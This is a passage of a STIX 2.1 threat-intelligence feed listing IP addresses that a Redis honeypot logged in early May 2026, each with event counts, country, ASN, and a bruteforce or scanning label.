      "pattern": "[ipv4-addr:value = '80.82.70.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:25:11.000Z",
      "valid_until": "2026-06-03T09:25:10.000Z"
    },
    {
      "created": "2026-05-02T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=19; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--95e132dc-a777-46da-bfb1-662341a5408b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '94.102.49.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:25:11.000Z",
      "valid_until": "2026-06-03T09:25:10.000Z"
    },
    {
      "created": "2026-05-02T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=VN; asn=63760; asn_org=AZDIGI Corporation; redis_cmd_hits=0",
      "id": "indicator--5c0be79d-f040-4458-a636-b7bdd0dec4bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.221.220.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:25:10.000Z",
      "valid_until": "2026-06-03T10:25:09.000Z"
    },
    {
      "created": "2026-05-02T10:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--cc8cddd3-be24-4e32-995f-b0d68677339e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T10:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.96.228.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T10:25:10.000Z",
      "valid_until": "2026-06-03T10:25:09.000Z"
    },
    {
      "created": "2026-05-02T11:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=RU; asn=210259; asn_org=LLC Applied Computational Technologies; redis_cmd_hits=0",
      "id": "indicator--a1c592bd-4461-442e-a00a-28af93636366",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T11:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T11:25:04.000Z",
      "valid_until": "2026-06-03T11:25:03.000Z"
    },
    {
      "created": "2026-05-02T12:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--97c5c3d8-1f6a-4fbf-bddd-87d248689522",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T12:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.249.128.154']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T12:25:05.000Z",
      "valid_until": "2026-06-03T12:25:04.000Z"
    },
    {
      "created": "2026-05-02T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=8; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--ff3f1074-534f-4aae-8f2d-bff6c07565ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '175.30.48.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:25:10.000Z",
      "valid_until": "2026-06-03T13:25:09.000Z"
    },
    {
      "created": "2026-05-02T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--7476f8af-9636-453a-afeb-42a62acd7a8b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '211.137.77.19']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:25:10.000Z",
      "valid_until": "2026-06-03T13:25:09.000Z"
    },
    {
      "created": "2026-05-02T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--985ee7ac-8b79-42e4-82b2-4dcce6f820ba",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '47.96.248.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T13:25:10.000Z",
      "valid_until": "2026-06-03T13:25:09.000Z"
    },
    {
      "created": "2026-05-02T14:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--59d3ae83-218a-4314-9574-c90a01b14925",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T14:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:25:04.000Z",
      "valid_until": "2026-06-03T14:25:04.000Z"
    },
    {
      "created": "2026-05-02T14:25:04.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--3146b924-d579-43f5-99c6-966c5e418360",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T14:25:04.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T14:25:04.000Z",
      "valid_until": "2026-06-03T14:25:04.000Z"
    },
    {
      "created": "2026-05-02T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=136195; asn_org=Qingdao, Shandong Province, P.R.China.; redis_cmd_hits=0",
      "id": "indicator--479700b0-061f-4dd5-b0b7-372c097a7c1e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '182.40.103.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:25:10.000Z",
      "valid_until": "2026-06-03T15:25:09.000Z"
    },
    {
      "created": "2026-05-02T15:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--9efc7aa3-38f1-4111-87aa-88ab9df18ab0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T15:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.7.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T15:25:10.000Z",
      "valid_until": "2026-06-03T15:25:09.000Z"
    },
    {
      "created": "2026-05-02T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=212317; asn_org=Hetzner Online GmbH; redis_cmd_hits=0",
      "id": "indicator--0a077ab8-c852-42f2-bde0-0d7d98682d7c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.78.92.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T16:25:10.000Z",
      "valid_until": "2026-06-03T16:25:09.000Z"
    },
    {
      "created": "2026-05-02T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=JP; asn=152194; asn_org=CTG Server Limited; redis_cmd_hits=0",
      "id": "indicator--cbfa812a-55f6-4927-9008-03d3080dfff0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '134.122.139.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:25:11.000Z",
      "valid_until": "2026-06-03T17:25:09.000Z"
    },
    {
      "created": "2026-05-02T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--454cea9a-3d86-4097-96e6-97a9db62cff1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:25:11.000Z",
      "valid_until": "2026-06-03T17:25:09.000Z"
    },
    {
      "created": "2026-05-02T17:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=24; ports=6379; cc=SG; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--0d934a2f-a804-4cad-826e-f0d53768e8a8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T17:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '8.222.128.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T17:25:11.000Z",
      "valid_until": "2026-06-03T17:25:09.000Z"
    },
    {
      "created": "2026-05-02T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=10439; asn_org=CariNet, Inc.; redis_cmd_hits=0",
      "id": "indicator--a3e896ce-231f-47c5-9814-643979b06f9d",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.240.236.109']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T18:25:10.000Z",
      "valid_until": "2026-06-03T18:25:10.000Z"
    },
    {
      "created": "2026-05-02T21:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--20fc3304-699c-40e8-9daa-817ede97b8c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T21:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.163']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T21:25:10.000Z",
      "valid_until": "2026-06-03T21:25:09.000Z"
    },
    {
      "created": "2026-05-02T22:25:12.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--6db9f820-1d50-496d-a1e9-2cb8ddf9f98b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T22:25:12.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '118.196.87.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T22:25:12.000Z",
      "valid_until": "2026-06-03T22:25:10.000Z"
    },
    {
      "created": "2026-05-02T23:25:29.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=4134; asn_org=Chinanet; redis_cmd_hits=0",
      "id": "indicator--8e65190c-eae2-45f1-a97e-b1f8b34160e5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T23:25:29.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '49.115.217.27']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T23:25:29.000Z",
      "valid_until": "2026-06-03T23:25:09.000Z"
    },
    {
      "created": "2026-05-03T01:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--00ea72eb-fd65-4cf6-a122-7385bda7b2ac",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T01:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.119.209.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T01:25:11.000Z",
      "valid_until": "2026-06-04T01:25:10.000Z"
    },
    {
      "created": "2026-05-03T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=33; ports=6379; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--a4489480-851c-4fad-9e58-dfc4d751664c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:25:10.000Z",
      "valid_until": "2026-06-04T02:25:09.000Z"
    },
    {
      "created": "2026-05-03T02:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=47890; asn_org=Unmanaged Ltd; cats=Misc activity,Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--9a834683-18dd-48ea-9313-2e8e9d1d6ee2",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T02:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.148.9.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T02:25:10.000Z",
      "valid_until": "2026-06-04T02:25:09.000Z"
    },
    {
      "created": "2026-05-03T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; redis_cmd_hits=0",
      "id": "indicator--ea1554dc-4906-4d3a-a319-f8523e09a7ea",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.200.242.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:25:10.000Z",
      "valid_until": "2026-06-04T04:25:09.000Z"
    },
    {
      "created": "2026-05-03T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--91d6db15-30de-4f83-98b3-b097e39d325f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.18.118.84']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:25:10.000Z",
      "valid_until": "2026-06-04T04:25:09.000Z"
    },
    {
      "created": "2026-05-03T04:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=45090; asn_org=Shenzhen Tencent Computer Systems Company Limited; redis_cmd_hits=0",
      "id": "indicator--2767ef90-816c-4bb8-b17b-53214ead2cd0",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T04:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '159.75.20.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T04:25:10.000Z",
      "valid_until": "2026-06-04T04:25:09.000Z"
    },
    {
      "created": "2026-05-03T09:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=NL; asn=49870; asn_org=Alsycon B.V.; redis_cmd_hits=0",
      "id": "indicator--cded6b0a-f596-47f4-bb89-8d1d9360182c",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T09:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.50.16.198']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T09:25:10.000Z",
      "valid_until": "2026-06-04T09:25:09.000Z"
    },
    {
      "created": "2026-05-03T11:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--666afad1-3e39-4236-b371-8d938585701c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T11:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.168.122.30']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T11:25:11.000Z",
      "valid_until": "2026-06-04T11:25:10.000Z"
    },
    {
      "created": "2026-05-03T13:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=36352; asn_org=HostPapa; redis_cmd_hits=0",
      "id": "indicator--5f195537-bb6b-411a-a8ee-336cb5c9934f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T13:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '107.174.64.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:25:13.000Z",
      "valid_until": "2026-06-04T13:25:11.000Z"
    },
    {
      "created": "2026-05-03T13:25:13.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--1db3dfd9-a8bc-4d2e-b505-5244f1ffea47",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T13:25:13.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.56.84.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T13:25:13.000Z",
      "valid_until": "2026-06-04T13:25:11.000Z"
    },
    {
      "created": "2026-05-03T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4847; asn_org=China Networks Inter-Exchange; redis_cmd_hits=0",
      "id": "indicator--729a819c-9b83-44ac-95f9-d8ee6b66e6f1",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '1.203.97.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:25:10.000Z",
      "valid_until": "2026-06-04T14:25:09.000Z"
    },
    {
      "created": "2026-05-03T14:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--762dc765-7b7a-4901-968d-f828e6b4ef3c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T14:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '223.76.108.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T14:25:10.000Z",
      "valid_until": "2026-06-04T14:25:09.000Z"
    },
    {
      "created": "2026-05-03T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=133774; asn_org=Fuzhou; redis_cmd_hits=0",
      "id": "indicator--61cf4731-ab44-4633-bf06-8d0c3589ec6e",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '121.204.160.32']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:25:11.000Z",
      "valid_until": "2026-06-04T15:25:09.000Z"
    },
    {
      "created": "2026-05-03T15:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=KR; asn=4766; asn_org=Korea Telecom; redis_cmd_hits=0",
      "id": "indicator--e67d2914-a882-49fd-8416-23871ab82cfd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T15:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '211.57.129.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T15:25:11.000Z",
      "valid_until": "2026-06-04T15:25:09.000Z"
    },
    {
      "created": "2026-05-03T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--3622bf7a-34dc-4e00-a984-29f5f1741edf",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.206.108.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:25:10.000Z",
      "valid_until": "2026-06-04T16:25:09.000Z"
    },
    {
      "created": "2026-05-03T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--e407901e-95bd-417f-b930-8886d8e604a9",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.101']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:25:10.000Z",
      "valid_until": "2026-06-04T16:25:09.000Z"
    },
    {
      "created": "2026-05-03T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=27; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--7b51d1e4-e0d6-4cae-a0fc-59ed16249437",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:25:10.000Z",
      "valid_until": "2026-06-04T16:25:09.000Z"
    },
    {
      "created": "2026-05-03T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Not Suspicious Traffic; redis_cmd_hits=0",
      "id": "indicator--7287af32-b684-4715-b218-8ea60008e92f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-03T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '67.205.150.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:25:10.000Z",
      "valid_until": "2026-06-04T16:25:09.000Z"
    },
    {
      "created": "2026-05-03T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=22; ports=6379; cc=US; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; redis_cmds=GET // HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--f465b2cd-8f22-46f2-869a-ff125a4cc6c8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-03T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '77.83.240.70']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-03T16:25:10.000Z",
      "valid_until": "2026-06-04T16:25:09.000Z"
    },
    {
      "created": "2026-05-03T17:25:10.000Z",
